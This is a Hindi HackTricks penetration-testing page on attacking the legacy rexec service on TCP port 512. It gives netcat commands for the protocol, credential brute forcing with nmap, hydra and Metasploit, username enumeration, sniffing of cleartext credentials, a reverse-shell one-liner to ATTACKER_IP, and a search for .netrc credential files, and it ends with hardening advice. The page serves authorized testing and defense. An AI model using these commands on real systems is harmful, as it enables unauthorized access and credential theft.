512 - Pentesting Rexec

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Rexec (remote exec) Berkeley के मूल r-services सुइट में से एक है (साथ ही rlogin, rsh, …)। यह एक remote command-execution क्षमता प्रदान करता है जो केवल clear-text username और password से प्रमाणीकृत होती है। प्रोटोकॉल की परिभाषा 1980 के दशक की शुरुआत में हुई थी (देखें RFC 1060) और आजकल इसे डिज़ाइन के अनुसार असुरक्षित माना जाता है। फिर भी यह कुछ legacy UNIX / network-attached उपकरणों में डिफ़ॉल्ट रूप से सक्षम रहता है और कभी-कभी internal pentests के दौरान सामने आता है।

डिफ़ॉल्ट पोर्ट: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 सभी ट्रैफिक – including credentials – प्रसारित होते हैं unencrypted. नेटवर्क स्निफ़ करने में सक्षम कोई भी व्यक्ति username, password और command को पुनर्प्राप्त कर सकता है।

प्रोटोकॉल संक्षेप

  1. Client TCP 512 से कनेक्ट होता है।
  2. Client तीन NUL-terminated strings भेजता है:
  • वह पोर्ट नंबर (ASCII के रूप में) जहाँ यह stdout/stderr प्राप्त करना चाहता है (अक्सर 0),
  • username,
  • password.
  1. एक अंतिम NUL-terminated string जिसमें निष्पादित करने के लिए command है भेजी जाती है।
  2. Server एक single 8-bit status byte (0 = success, 1 = failure) भेजता है जिसके बाद command output आता है।

अगर पहला फ़ील्ड non-zero है, तो सर्वर second TCP connection back to the client खोलता है और इसे stderr के लिए उपयोग करता है। यह सेवा के आसपास manual testing और fingerprinting filtering / firewall issues दोनों के लिए उपयोगी है।

यानी आप इस एक्सचेंज को केवल echo -e और nc से दोहरा सकते हैं:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

यदि credentials वैध हैं, तो आप उसी कनेक्शन पर id का आउटपुट सीधे वापस प्राप्त करेंगे।

यदि आप एक समर्पित listener पर stderr प्राप्त करना चाहते हैं, तो server से कहें कि वह आपसे वापस कनेक्ट करे:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

कई सामान्य implementations (उदाहरण के लिए GNU rexecd) अभी भी 16-byte username/password fields लागू करते हैं और invalid usernames बनाम invalid passwords के लिए different diagnostic strings लौटाते हैं। यह enumeration के दौरान मायने रखता है क्योंकि कुछ targets leak करते हैं कि account मौजूद है या नहीं, इससे पहले कि आप brute forcing शुरू करें।

क्लाइंट के साथ मैन्युअल उपयोग

कई Linux वितरण अभी भी legacy client को inetutils-rexec / rsh-client पैकेज में शामिल करके शिप करते हैं:

rexec -l user -p password <target> "uname -a"

यदि -p नहीं दिया गया है तो क्लाइंट इंटरैक्टिव रूप से पासवर्ड के लिए प्रॉम्प्ट करेगा (visible on the wire in clear-text!).

पासवर्ड को अपनी shell history / process list में छोड़ने से बचने के लिए, GNU rexec stdin से इसे पढ़ने का भी समर्थन करता है:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

यह नेटवर्क पर ज़्यादा सुरक्षित नहीं है; यह केवल attacking host पर स्थानीय एक्सपोज़र को कम करता है।


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE ऊपर वर्णित प्रोटोकॉल का उपयोग credentials को बहुत तेज़ी से आज़माने के लिए करता है।

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra का एक समर्पित rexec मॉड्यूल है और यह सबसे तेज़ offline bruteforcer बना रहता है। medusa (-M REXEC) और ncrack (rexec module) समान रूप से उपयोग किए जा सकते हैं।

Username enumeration सर्वर संदेशों के माध्यम से

कुछ rexecd implementations विशिष्ट त्रुटियाँ प्रकट करते हैं जैसे कि Login incorrect. बनाम Password incorrect.। यदि आप यह व्यवहार देखते हैं, तो पहले usernames को सत्यापित करें और फिर ही passwords पर brute force करें:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

यदि संदेश अलग हों, तो बड़े password spray भेजने से पहले एक valid-user सूची बनाएं।

संबंधित r-services की जाँच करें

rexec स्वयं password authentication का उपयोग करता है, जो rsh / rlogin के trusted-host लॉजिक से अलग है, लेकिन व्यवहार में ये अक्सर उसी legacy package (openbsd-inetd, inetutils, vendor UNIX bundles) से आते हैं। यदि TCP 512 खुला है, तो तुरंत TCP 513 और 514 को भी चेक करें क्योंकि .rhosts / /etc/hosts.equiv का दुरुपयोग आसान lateral movement की अनुमति दे सकता है:

nmap -sV -p 512,513,514 <target>

इन्हें भी देखें:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

यह मॉड्यूल सफल होने पर एक shell बनाएगा और credentials को database में स्टोर करेगा।


Sniffing credentials

क्योंकि सब कुछ clear-text में होता है, network captures अनमोल हैं। ट्रैफ़िक की एक कॉपी के साथ आप target को छुए बिना creds निकाल सकते हैं:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark में Decode As …​ TCP 512 → REXEC सक्षम करें ताकि पार्स किए गए फ़ील्ड साफ़ दिखें।)


पोस्ट-एक्सप्लॉइटेशन सुझाव

  • कमांड प्रदान किए गए उपयोगकर्ता के अधिकारों के साथ चलते हैं। यदि /etc/pam.d/rexec गलत-संरचित है (उदा. pam_rootok), तो कभी-कभी root shells संभव हो सकते हैं।
  • Rexec उपयोगकर्ता की shell को अनदेखा करता है और कमांड को /bin/sh -c <cmd> के माध्यम से निष्पादित करता है। आप इसलिए सामान्य shell-escape चालें (;, $( ), backticks) उपयोग करके कई कमांड जोड़ सकते हैं या reverse shells उत्पन्न कर सकते हैं:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • पासवर्ड अक्सर ~/.netrc या अन्य सिस्टम्स पर legacy automation स्क्रिप्ट्स में संग्रहीत होते हैं; यदि आप किसी होस्ट में पहुँच हासिल कर लेते हैं तो आप उन्हें lateral movement के लिए पुन: उपयोग कर सकते हैं:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

हार्डनिंग / डिटेक्शन

  • rexec को एक्सपोज़ न करें; इसे SSH से बदल दें। लगभग सभी आधुनिक inetd superservers डिफ़ॉल्ट रूप से सेवा को कॉमेंट आउट कर देते हैं।
  • यदि आपको इसे रखना ही है, तो TCP wrappers (/etc/hosts.allow) या firewall rules के साथ पहुँच को सीमित करें और प्रत्येक खाते के लिए मजबूत पासवर्ड लागू करें।
  • :512 पर ट्रैफ़िक और rexecd प्रोसेस लॉन्च होने पर निगरानी रखें। एक ही packet capture एक compromise का पता लगाने के लिए पर्याप्त है।
  • साथ में rexec, rlogin, rsh को डिसेबल करें – ये अधिकांश कोडबेस और कमजोरियों को साझा करते हैं।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें